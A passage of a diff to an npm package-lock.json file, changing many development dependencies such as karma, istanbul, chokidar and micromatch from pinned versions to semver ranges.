"^2.0.0" } }, "is-extendable": { @@ -7365,7 +7410,7 @@ "integrity": "sha1-zGZ3aVYCvlUO8R6LSqYwU0K20Ko=", "dev": true, "requires": { - "number-is-nan": "1.0.1" + "number-is-nan": "^1.0.0" } }, "is-fullwidth-code-point": { @@ -7380,7 +7425,7 @@ "integrity": "sha1-0Jb5JqPe1WAPP9/ZEZjLCIjC2GM=", "dev": true, "requires": { - "is-extglob": "1.0.0" + "is-extglob": "^1.0.0" } }, "is-number": { @@ -7390,7 +7435,7 @@ "dev": true, "optional": true, "requires": { - "kind-of": "3.2.2" + "kind-of": "^3.0.2" } }, "is-path-cwd": { @@ -7405,7 +7450,7 @@ "integrity": "sha512-FjV1RTW48E7CWM7eE/J2NJvAEEVektecDBVBE5Hh3nM1Jd0kvhHtX68Pr3xsDf857xt3Y4AkwVULK1Vku62aaQ==", "dev": true, "requires": { - "is-path-inside": "1.0.1" + "is-path-inside": "^1.0.0" } }, "is-path-inside": { @@ -7414,7 +7459,7 @@ "integrity": "sha1-jvW33lBDej/cprToZe96pVy0gDY=", "dev": true, "requires": { - "path-is-inside": "1.0.2" + "path-is-inside": "^1.0.1" } }, "is-plain-object": { @@ -7423,7 +7468,7 @@ "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==", "dev": true, "requires": { - "isobject": "3.0.1" + "isobject": "^3.0.1" }, "dependencies": { "isobject": { @@ -7459,7 +7504,7 @@ "integrity": "sha1-VRdIm1RwkbCTDglWVM7SXul+lJE=", "dev": true, "requires": { - "has": "1.0.3" + "has": "^1.0.1" } }, "is-resolvable": { @@ -7515,7 +7560,7 @@ "integrity": "sha512-8cJBL5tTd2OS0dM4jz07wQd5g0dCCqIhUxPIGtZfa5L6hWlvV5MHTITy/DBAsF+Oe2LS1X3krBUhNwaGUWpWxw==", "dev": true, "requires": { - "buffer-alloc": "1.2.0" + "buffer-alloc": "^1.2.0" } }, "isexe": { @@ -7555,20 +7600,20 @@ "integrity": "sha1-ZcfXPUxNqE1POsMQuRj7C4Azczs=", "dev": true, "requires": { - "abbrev": "1.0.9", - "async": "1.5.2", - "escodegen": "1.8.1", - "esprima": "2.7.3", - "glob": "5.0.15", - "handlebars": "4.0.11", - "js-yaml": "3.7.0", - "mkdirp": "0.5.1", - "nopt": "3.0.6", - "once": "1.4.0", - "resolve": "1.1.7", - "supports-color": "3.2.3", - "which": "1.3.0", - "wordwrap": "1.0.0" + "abbrev": "1.0.x", + "async": "1.x", + "escodegen": "1.8.x", + "esprima": "2.7.x", + "glob": "^5.0.15", + "handlebars": "^4.0.1", + "js-yaml": "3.x", + "mkdirp": "0.5.x", + "nopt": "3.x", + "once": "1.x", + "resolve": "1.1.x", + "supports-color": "^3.1.0", + "which": "^1.1.1", + "wordwrap": "^1.0.0" }, "dependencies": { "glob": { @@ -7577,11 +7622,11 @@ "integrity": "sha1-G8k2ueAvSmA/zCIuz3Yz0wuLk7E=", "dev": true, "requires": { - "inflight": "1.0.6", - "inherits": "2.0.3", - "minimatch": "3.0.4", - "once": "1.4.0", - "path-is-absolute": "1.0.1" + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "2 || 3", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" } }, "resolve": { @@ -7596,7 +7641,7 @@ "integrity": "sha1-ZawFBLOVQXHYpklGsq48u4pfVPY=", "dev": true, "requires": { - "has-flag": "1.0.0" + "has-flag": "^1.0.0" } } } @@ -7617,8 +7662,8 @@ "integrity": "sha1-XJZ93YN6m/3KXy3oQlOr6KHAO4A=", "dev": true, "requires": { - "argparse": "1.0.9", - "esprima": "2.7.3" + "argparse": "^1.0.7", + "esprima": "^2.6.0" } }, "jsbn": { @@ -7686,7 +7731,7 @@ "integrity": "sha1-NzaitCi4e72gzIO1P6PWM6NcKug=", "dev": true, "requires": { - "graceful-fs": "4.1.11" + "graceful-fs": "^4.1.6" } }, "jsprim": { @@ -7707,7 +7752,7 @@ "integrity": "sha1-6AGxs5mF4g//yHtA43SAgOLcrH8=", "dev": true, "requires": { - "array-includes": "3.0.3" + "array-includes": "^3.0.3" } }, "jwt-decode": { @@ -7721,31 +7766,31 @@ "integrity": "sha512-ZTjyuDXVXhXsvJ1E4CnZzbCjSxD6sEdzEsFYogLuZM0yqvg/mgz+O+R1jb0J7uAQeuzdY8kJgx6hSNXLwFuHIQ==", "dev": true, "requires": { - "bluebird": "3.5.1", - "body-parser": "1.18.3", - "chokidar": "2.0.4", - "colors": "1.3.1", - "combine-lists": "1.0.1", - "connect": "3.6.6", - "core-js": "2.5.7", - "di": "0.0.1", - "dom-serialize": "2.2.1", - "expand-braces": "0.1.2", - "glob": "7.1.3", - "graceful-fs": "4.1.11", - "http-proxy": "1.17.0", - "isbinaryfile": "3.0.3", - "lodash": "4.17.10", - "log4js": "3.0.5", - "mime": "2.3.1", - "minimatch": "3.0.4", - "optimist": "0.6.1", - "qjobs": "1.2.0", - "range-parser": "1.2.0", - "rimraf": "2.6.2", - "safe-buffer": "5.1.1", + "bluebird": "^3.3.0", + "body-parser": "^1.16.1", + "chokidar": "^2.0.3", + "colors": "^1.1.0", + "combine-lists": "^1.0.0", + "connect": "^3.6.0", + "core-js": "^2.2.0", + "di": "^0.0.1", + "dom-serialize": "^2.2.0", + "expand-braces": "^0.1.1", + "glob": "^7.1.1", + "graceful-fs": "^4.1.2", + "http-proxy": "^1.13.0", + "isbinaryfile": "^3.0.0", + "lodash": "^4.17.4", + "log4js": "^3.0.0", + "mime": "^2.3.1", + "minimatch": "^3.0.2", + "optimist": "^0.6.1", + "qjobs": "^1.1.4", + "range-parser": "^1.2.0", + "rimraf": "^2.6.0", + "safe-buffer": "^5.0.1", "socket.io": "2.1.1", - "source-map": "0.6.1", + "source-map": "^0.6.1", "tmp": "0.0.33", "useragent": "2.2.1" }, @@ -7756,8 +7801,8 @@ "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==", "dev": true, "requires": { - "micromatch": "3.1.10", - "normalize-path": "2.1.1" + "micromatch": "^3.1.4", + "normalize-path": "^2.1.1" } }, "arr-diff": { @@ -7778,16 +7823,16 @@ "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", "dev": true, "requires": { - "arr-flatten": "1.1.0", - "array-unique": "0.3.2", - "extend-shallow": "2.0.1", - "fill-range": "4.0.0", - "isobject": "3.0.1", - "repeat-element": "1.1.2", - "snapdragon": "0.8.2", - "snapdragon-node": "2.1.1", - "split-string": "3.1.0", - "to-regex": "3.0.2" + "arr-flatten": "^1.1.0", + "array-unique": "^0.3.2", + "extend-shallow": "^2.0.1", + "fill-range": "^4.0.0", + "isobject": "^3.0.1", + "repeat-element": "^1.1.2", + "snapdragon": "^0.8.1", + "snapdragon-node": "^2.0.1", + "split-string": "^3.0.2", + "to-regex": "^3.0.1" }, "dependencies": { "extend-shallow": { @@ -7796,7 +7841,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "0.1.1" + "is-extendable": "^0.1.0" } } } @@ -7807,19 +7852,19 @@ "integrity": "sha512-z9n7yt9rOvIJrMhvDtDictKrkFHeihkNl6uWMmZlmL6tJtX9Cs+87oK+teBx+JIgzvbX3yZHT3eF8vpbDxHJXQ==", "dev": true, "requires": { - "anymatch": "2.0.0", - "async-each": "1.0.1", - "braces": "2.3.2", - "fsevents": "1.2.4", - "glob-parent": "3.1.0", - "inherits": "2.0.3", - "is-binary-path": "1.0.1", - "is-glob": "4.0.0", - "lodash.debounce": "4.0.8", - "normalize-path": "2.1.1", - "path-is-absolute": "1.0.1", - "readdirp": "2.1.0", - "upath": "1.1.0" + "anymatch": "^2.0.0", + "async-each": "^1.0.0", + "braces": "^2.3.0", + "fsevents": "^1.2.2", + "glob-parent": "^3.1.0", + "inherits": "^2.0.1", + "is-binary-path": "^1.0.0", + "is-glob": "^4.0.0", + "lodash.debounce": "^4.0.8", + "normalize-path": "^2.1.1", + "path-is-absolute": "^1.0.0", + "readdirp": "^2.0.0", + "upath": "^1.0.5" } }, "expand-brackets": { @@ -7828,13 +7873,13 @@ "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", "dev": true, "requires": { - "debug": "2.6.8", - "define-property": "0.2.5", - "extend-shallow": "2.0.1", - "posix-character-classes": "0.1.1", - "regex-not": "1.0.2", - "snapdragon": "0.8.2", - "to-regex": "3.0.2" + "debug": "^2.3.3", + "define-property": "^0.2.5", + "extend-shallow": "^2.0.1", + "posix-character-classes": "^0.1.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" }, "dependencies": { "define-property": { @@ -7843,7 +7888,7 @@ "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", "dev": true, "requires": { - "is-descriptor": "0.1.6" + "is-descriptor": "^0.1.0" } }, "extend-shallow": { @@ -7852,7 +7897,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "0.1.1" + "is-extendable": "^0.1.0" } }, "is-accessor-descriptor": { @@ -7861,7 +7906,7 @@ "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", "dev": true, "requires": { - "kind-of": "3.2.2" + "kind-of": "^3.0.2" }, "dependencies": { "kind-of": { @@ -7870,7 +7915,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "1.1.5" + "is-buffer": "^1.1.5" } } } @@ -7881,7 +7926,7 @@ "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", "dev": true, "requires": { - "kind-of": "3.2.2" + "kind-of": "^3.0.2" }, "dependencies": { "kind-of": { @@ -7890,7 +7935,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "1.1.5" + "is-buffer": "^1.1.5" } } } @@ -7901,9 +7946,9 @@ "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", "dev": true, "requires": { - "is-accessor-descriptor": "0.1.6", - "is-data-descriptor": "0.1.4", - "kind-of": "5.1.0" + "is-accessor-descriptor": "^0.1.6", + "is-data-descriptor": "^0.1.4", + "kind-of": "^5.0.0" } }, "kind-of": { @@ -7920,14 +7965,14 @@ "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", "dev": true, "requires": { - "array-unique": "0.3.2", - "define-property": "1.0.0", - "expand-brackets": "2.1.4", - "extend-shallow": "2.0.1", - "fragment-cache": "0.2.1", - "regex-not": "1.0.2", - "snapdragon": "0.8.2", - "to-regex": "3.0.2" + "array-unique": "^0.3.2", + "define-property": "^1.0.0", + "expand-brackets": "^2.1.4", + "extend-shallow": "^2.0.1", + "fragment-cache": "^0.2.1", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" }, "dependencies": { "define-property": { @@ -7936,7 +7981,7 @@ "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", "dev": true, "requires": { - "is-descriptor": "1.0.2" + "is-descriptor": "^1.0.0" } }, "extend-shallow": { @@ -7945,7 +7990,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "0.1.1" + "is-extendable": "^0.1.0" } } } @@ -7956,10 +8001,10 @@ "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", "dev": true, "requires": { - "extend-shallow": "2.0.1", - "is-number": "3.0.0", - "repeat-string": "1.6.1", - "to-regex-range": "2.1.1" + "extend-shallow": "^2.0.1", + "is-number": "^3.0.0", + "repeat-string": "^1.6.1", + "to-regex-range": "^2.1.0" }, "dependencies": { "extend-shallow": { @@ -7968,7 +8013,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "0.1.1" + "is-extendable": "^0.1.0" } } } @@ -7980,8 +8025,8 @@ "dev": true, "optional": true, "requires": { - "nan": "2.10.0", - "node-pre-gyp": "0.10.0" + "nan": "^2.9.2", + "node-pre-gyp": "^0.10.0" }, "dependencies": { "abbrev": { @@ -8007,8 +8052,8 @@ "dev": true, "optional": true, "requires": { - "delegates": "1.0.0", - "readable-stream": "2.3.6" + "delegates": "^1.0.0", + "readable-stream": "^2.0.6" } }, "balanced-match": { @@ -8088,7 +8133,7 @@ "dev": true, "optional": true, "requires": { - "minipass": "2.2.4" + "minipass": "^2.2.1" } }, "fs.realpath": { @@ -8103,14 +8148,14 @@ "dev": true, "optional": true, "requires": { - "aproba": "1.2.0", - "console-control-strings": "1.1.0", - "has-unicode": "2.0.1", - "object-assign": "4.1.1", - "signal-exit": "3.0.2", - "string-width": "1.0.2", - "strip-ansi": "3.0.1", - "wide-align": "1.1.2" + "aproba": "^1.0.3", + "console-control-strings": "^1.0.0", + "has-unicode": "^2.0.0", + "object-assign": "^4.1.0", + "signal-exit": "^3.0.0", + "string-width": "^1.0.1", + "strip-ansi": "^3.0.1", + "wide-align": "^1.1.0" } }, "glob": { @@ -8119,12 +8164,12 @@ "dev": true, "optional": true, "requires": { - "fs.realpath": "1.0.0", - "inflight": "1.0.6", - "inherits": "2.0.3", - "minimatch": "3.0.4", - "once": "1.4.0", - "path-is-absolute": "1.0.1" + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" } }, "has-unicode": { @@ -8139,7 +8184,7 @@ "dev": true, "optional": true, "requires": { - "safer-buffer": "2.1.2" + "safer-buffer": "^2.1.0" } }, "ignore-walk": { @@ -8157,8 +8202,8 @@ "dev": true, "optional": true, "requires": { - "once": "1.4.0", - "wrappy": "1.0.2" + "once": "^1.3.0", + "wrappy": "1" } }, "inherits": { @@ -8177,7 +8222,7 @@ "bundled": true, "dev": true, "requires": { - "number-is-nan": "1.0.1" + "number-is-nan": "^1.0.0" } }, "isarray": { @@ -8205,8 +8250,8 @@ "bundled": true, "dev": true, "requires": { - "safe-buffer": "5.1.1", - "yallist": "3.0.2" + "safe-buffer": "^5.1.1", + "yallist": "^3.0.0" } }, "minizlib": { @@ -8215,7 +8260,7 @@ "dev": true, "optional": true, "requires": { - "minipass": "2.2.4" + "minipass": "^2.2.1" } }, "mkdirp": { @@ -8238,9 +8283,9 @@ "dev": true, "optional": true, "requires": { - "debug": "2.6.9", - "iconv-lite": "0.4.21", - "sax": "1.2.4" + "debug": "^2.1.2", + "iconv-lite": "^0.4.4", + "sax": "^1.2.4" } }, "node-pre-gyp": { @@ -8249,16 +8294,16 @@ "dev": true, "optional": true, "requires": { - "detect-libc": "1.0.3", - "mkdirp": "0.5.1", - "needle": "2.2.0", - "nopt": "4.0.1", - "npm-packlist": "1.1.10", - "npmlog": "4.1.2", - "rc": "1.2.7", - "rimraf": "2.6.2", - "semver": "5.5.0", - "tar": "4.4.1" + "detect-libc": "^1.0.2", + "mkdirp": "^0.5.1", + "needle": "^2.2.0", + "nopt": "^4.0.1", + "npm-packlist": "^1.1.6", + "npmlog": "^4.0.2", + "rc": "^1.1.7", + "rimraf": "^2.6.1", + "semver": "^5.3.0", + "tar": "^4" } }, "nopt": { @@ -8267,8 +8312,8 @@ "dev": true, "optional": true, "requires": { - "abbrev": "1.1.1", - "osenv": "0.1.5" + "abbrev": "1", + "osenv": "^0.1.4" } }, "npm-bundled": { @@ -8283,8 +8328,8 @@ "dev": true, "optional": true, "requires": { - "ignore-walk": "3.0.1", - "npm-bundled": "1.0.3" + "ignore-walk": "^3.0.1", + "npm-bundled": "^1.0.1" } }, "npmlog": { @@ -8293,10 +8338,10 @@ "dev": true, "optional": true, "requires": { - "are-we-there-yet": "1.1.4", - "console-control-strings": "1.1.0", - "gauge": "2.7.4", - "set-blocking": "2.0.0" + "are-we-there-yet": "~1.1.2", + "console-control-strings": "~1.1.0", + "gauge": "~2.7.3", + "set-blocking": "~2.0.0" } }, "number-is-nan": { @@ -8315,7 +8360,7 @@ "bundled": true, "dev": true, "requires": { - "wrappy": "1.0.2" + "wrappy": "1" } }, "os-homedir": { @@ -8336,8 +8381,8 @@ "dev": true, "optional": true, "requires": { - "os-homedir": "1.0.2", - "os-tmpdir": "1.0.2" + "os-homedir": "^1.0.0", + "os-tmpdir": "^1.0.0" } }, "path-is-absolute": { @@ -8358,10 +8403,10 @@ "dev": true, "optional": true, "requires": { - "deep-extend": "0.5.1", - "ini": "1.3.5", - "minimist": "1.2.0", - "strip-json-comments": "2.0.1" + "deep-extend": "^0.5.1", + "ini": "~1.3.0", + "minimist": "^1.2.0", + "strip-json-comments": "~2.0.1" }, "dependencies": { "minimist": { @@ -8378,13 +8423,13 @@ "dev": true, "optional": true, "requires": { - "core-util-is": "1.0.2", - "inherits": "2.0.3", - "isarray": "1.0.0", - "process-nextick-args": "2.0.0", - "safe-buffer": "5.1.1", - "string_decoder": "1.1.1", - "util-deprecate": "1.0.2" + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" } }, "rimraf": { @@ -8393,7 +8438,7 @@ "dev": true, "optional": true, "requires": { - "glob": "7.1.2" + "glob": "^7.0.5" } }, "safe-buffer": { @@ -8436,9 +8481,9 @@ "bundled": true, "dev": true, "requires": { - "code-point-at": "1.1.0", - "is-fullwidth-code-point": "1.0.0", - "strip-ansi": "3.0.1" + "code-point-at": "^1.0.0", + "is-fullwidth-code-point": "^1.0.0", + "strip-ansi": "^3.0.0" } }, "string_decoder": { @@ -8447,7 +8492,7 @@ "dev": true, "optional": true, "requires": { - "safe-buffer": "5.1.1" + "safe-buffer": "~5.1.0" } }, "strip-ansi": { @@ -8455,7 +8500,7 @@ "bundled": true, "dev": true, "requires": { - "ansi-regex": "2.1.1" + "ansi-regex": "^2.0.0" } }, "strip-json-comments": { @@ -8470,13 +8515,13 @@ "dev": true, "optional": true, "requires": { - "chownr": "1.0.1", - "fs-minipass": "1.2.5", - "minipass": "2.2.4", - "minizlib": "1.1.0", - "mkdirp": "0.5.1", - "safe-buffer": "5.1.1", - "yallist": "3.0.2" + "chownr": "^1.0.1", + "fs-minipass": "^1.2.5", + "minipass": "^2.2.4", + "minizlib": "^1.1.0", + "mkdirp": "^0.5.0", + "safe-buffer": "^5.1.1", + "yallist": "^3.0.2" } }, "util-deprecate": { @@ -8491,7 +8536,7 @@ "dev": true, "optional": true, "requires": { - "string-width": "1.0.2" + "string-width": "^1.0.2" } }, "wrappy": { @@ -8512,8 +8557,8 @@ "integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=", "dev": true, "requires": { - "is-glob": "3.1.0", - "path-dirname": "1.0.2" + "is-glob": "^3.1.0", + "path-dirname": "^1.0.0" }, "dependencies": { "is-glob": { @@ -8522,7 +8567,7 @@ "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=", "dev": true, "requires": { - "is-extglob": "2.1.1" + "is-extglob": "^2.1.0" } } } @@ -8533,7 +8578,7 @@ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", "dev": true, "requires": { - "kind-of": "6.0.2" + "kind-of": "^6.0.0" } }, "is-data-descriptor": { @@ -8542,7 +8587,7 @@ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", "dev": true, "requires": { - "kind-of": "6.0.2" + "kind-of": "^6.0.0" } }, "is-descriptor": { @@ -8551,9 +8596,9 @@ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", "dev": true, "requires": { - "is-accessor-descriptor": "1.0.0", - "is-data-descriptor": "1.0.0", - "kind-of": "6.0.2" + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" } }, "is-extglob": { @@ -8568,7 +8613,7 @@ "integrity": "sha1-lSHHaEXMJhCoUgPd8ICpWML/q8A=", "dev": true, "requires": { - "is-extglob": "2.1.1" + "is-extglob": "^2.1.1" } }, "is-number": { @@ -8577,7 +8622,7 @@ "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", "dev": true, "requires": { - "kind-of": "3.2.2" + "kind-of": "^3.0.2" }, "dependencies": { "kind-of": { @@ -8586,7 +8631,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "1.1.5" + "is-buffer": "^1.1.5" } } } @@ -8609,19 +8654,19 @@ "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", "dev": true, "requires": { - "arr-diff": "4.0.0", - "array-unique": "0.3.2", - "braces": "2.3.2", - "define-property": "2.0.2", - "extend-shallow": "3.0.2", - "extglob": "2.0.4", - "fragment-cache": "0.2.1", - "kind-of": "6.0.2", - "nanomatch": "1.2.13", - "object.pick": "1.3.0", - "regex-not": "1.0.2", - "snapdragon": "0.8.2", - "to-regex": "3.0.2" + "arr-diff": "^4.0.0", + "array-unique": "^0.3.2", + "braces": "^2.3.1", + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "extglob": "^2.0.4", + "fragment-cache": "^0.2.1", + "kind-of": "^6.0.2", + "nanomatch": "^1.2.9", + "object.pick": "^1.3.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.2" } }, "nan": { @@ -8651,11 +8696,11 @@ "integrity": "sha512-eQawj4Cl3z/CjxslYy9ariU4uDh7cCNFZHNWXWRpl0pNeblY/4wHR7M7boTYXWrn9bY0z2pZmr11eKje/S/hIw==", "dev": true, "requires": { - "dateformat": "1.0.12", - "istanbul": "0.4.5", - "lodash": "4.17.10", - "minimatch": "3.0.4", - "source-map": "0.5.6" + "dateformat": "^1.0.6", + "istanbul": "^0.4.0", + "lodash": "^4.17.0", + "minimatch": "^3.0.0", + "source-map": "^0.5.1" } }, "karma-mocha": { @@ -8673,9 +8718,9 @@ "integrity": "sha1-FRIAlejtgZGG5HoLAS8810GJVWA=", "dev": true, "requires": { - "chalk": "2.4.0", - "log-symbols": "2.2.0", - "strip-ansi": "4.0.0" + "chalk": "^2.1.0", + "log-symbols": "^2.1.0", + "strip-ansi": "^4.0.0" }, "dependencies": { "ansi-regex": { @@ -8690,7 +8735,7 @@ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { - "color-convert": "1.9.0" + "color-convert": "^1.9.0" } }, "chalk": { @@ -8699,9 +8744,9 @@ "integrity": "sha512-Wr/w0f4o9LuE7K53cD0qmbAMM+2XNLzR29vFn5hqko4sxGlUsyy363NvmyGIyk5tpe9cjTr9SJYbysEyPkRnFw==", "dev": true, "requires": { - "ansi-styles": "3.2.1", - "escape-string-regexp": "1.0.5", - "supports-color": "5.4.0" + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" } }, "has-flag": { @@ -8716,7 +8761,7 @@ "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", "dev": true, "requires": { - "ansi-regex": "3.0.0" + "ansi-regex": "^3.0.0" } }, "supports-color": { @@ -8725,7 +8770,7 @@ "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", "dev": true, "requires": { - "has-flag": "3.0.0" + "has-flag": "^3.0.0" } } } @@ -8736,8 +8781,8 @@ "integrity": "sha1-0jyjSAG9qYY60xjju0vUBisTrNI=", "dev": true, "requires": { - "lodash": "4.17.10", - "phantomjs-prebuilt": "2.1.16" + "lodash": "^4.0.1", + "phantomjs-prebuilt": "^2.1.7" } }, "karma-sourcemap-loader": { @@ -8746,7 +8791,7 @@ "integrity": "sha1-kTIsd/jxPUb+0GKwQuEAnUxFBdg=", "dev": true, "requires": { - "graceful-fs": "4.1.11" + "graceful-fs": "^4.1.2" } }, "karma-webpack": { @@ -8755,12 +8800,12 @@ "integrity": "sha512-nRudGJWstvVuA6Tbju9tyGUfXTtI1UXMXoRHVmM2/78D0q6s/Ye2IC157PKNDC15PWFGR0mVIRtWLAdcfsRJoA==", "dev": true, "requires": { - "async": "2.6.1", - "babel-runtime": "6.25.0", - "loader-utils": "1.1.0", - "lodash": "4.17.10", - "source-map": "0.5.6", - "webpack-dev-middleware": "2.0.6" + "async": "^2.0.0", + "babel-runtime": "^6.0.0", + "loader-utils": "^1.0.0", + "lodash": "^4.0.0", + "source-map": "^0.5.6", + "webpack-dev-middleware": "^2.0.6" }, "dependencies": { "async": { @@ -8769,7 +8814,7 @@ "integrity": "sha512-fNEiL2+AZt6AlAw/29Cr0UDe4sRAHCpEHh54WMz+Bb7QfNcFw4h3loofyJpLeQs4Yx7yuqu/2dLgM5hKOs6HlQ==", "dev": true, "requires": { - "lodash": "4.17.10" + "lodash": "^4.17.10" } }, "loader-utils": { @@ -8778,9 +8823,9 @@ "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", "dev": true, "requires": { - "big.js": "3.1.3", - "emojis-list": "2.1.0", - "json5": "0.5.1" + "big.js": "^3.1.3", + "emojis-list": "^2.0.0", + "json5": "^0.5.0" } } } @@ -8813,7 +8858,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "1.1.5" + "is-buffer": "^1.1.5" } }, "klaw": { @@ -8822,7 +8867,7 @@ "integrity": "sha1-QIhDO0azsbolnXh4XY6W9zugJDk=", "dev": true, "requires": { - "graceful-fs": "4.1.11" + "graceful-fs": "^4.1.9" } }, "lazy-cache": { @@ -8838,7 +8883,7 @@ "integrity": "sha1-MIrMr6C8SDo4Z7S28rlQYlHRuDU=", "dev": true, "requires": { - "invert-kv": "1.0.0" + "invert-kv": "^1.0.0" } }, "levn": { @@ -8847,8 +8892,8 @@ "integrity": "sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4=", "dev": true, "requires": { - "prelude-ls": "1.1.2", - "type-check": "0.3.2" + "prelude-ls": "~1.1.2", + "type-check": "~0.3.2" } }, "load-json-file": { @@ -8857,11 +8902,11 @@ "integrity": "sha1-lWkFcI1YtLq0wiYbBPWfMcmTdMA=", "dev": true, "requires": { - "graceful-fs": "4.1.11", - "parse-json": "2.2.0", - "pify": "2.3.0", - "pinkie-promise": "2.0.1", - "strip-bom": "2.0.0" + "graceful-fs": "^4.1.2", + "parse-json": "^2.2.0", + "pify": "^2.0.0", + "pinkie-promise": "^2.0.0", + "strip-bom": "^2.0.0" }, "dependencies": { "strip-bom": { @@ -8870,7 +8915,7 @@ "integrity": "sha1-YhmoVhZSBJHzV4i9vxRHqZx+aw4=", "dev": true, "requires": { - "is-utf8": "0.2.1" + "is-utf8": "^0.2.0" } } } @@ -8881,7 +8926,7 @@ "integrity": "sha1-VuC/CL2XCLJqdltoUJhAyN7J/bw=", "dev": true, "requires": { - "find-cache-dir": "0.1.1", + "find-cache-dir": "^0.1.1", "mkdirp": "0.5.1" }, "dependencies": { @@ -8891,9 +8936,9 @@ "integrity": "sha1-yN765XyKUqinhPnjHFfHQumToLk=", "dev": true, "requires": { - "commondir": "1.0.1", - "mkdirp": "0.5.1", - "pkg-dir": "1.0.0" + "commondir": "^1.0.1", + "mkdirp": "^0.5.1", + "pkg-dir": "^1.0.0" } }, "pkg-dir": { @@ -8902,7 +8947,7 @@ "integrity": "sha1-ektQio1bstYp1EcFb/TpyTFM89Q=", "dev": true, "requires": { - "find-up": "1.1.2" + "find-up": "^1.0.0" } } } @@ -8919,10 +8964,10 @@ "integrity": "sha1-+G5jdNQyBabmxg6RlvF8Apm/s0g=", "dev": true, "requires": { - "big.js": "3.1.3", - "emojis-list": "2.1.0", - "json5": "0.5.1", - "object-assign": "4.1.1" + "big.js": "^3.1.3", + "emojis-list": "^2.0.0", + "json5": "^0.5.0", + "object-assign": "^4.0.1" } }, "locate-path": { @@ -8931,8 +8976,8 @@ "integrity": "sha1-K1aLJl7slExtnA3pw9u7ygNUzY4=", "dev": true, "requires": { - "p-locate": "2.0.0", - "path-exists": "3.0.0" + "p-locate": "^2.0.0", + "path-exists": "^3.0.0" }, "dependencies": { "path-exists": { @@ -8981,7 +9026,7 @@ "integrity": 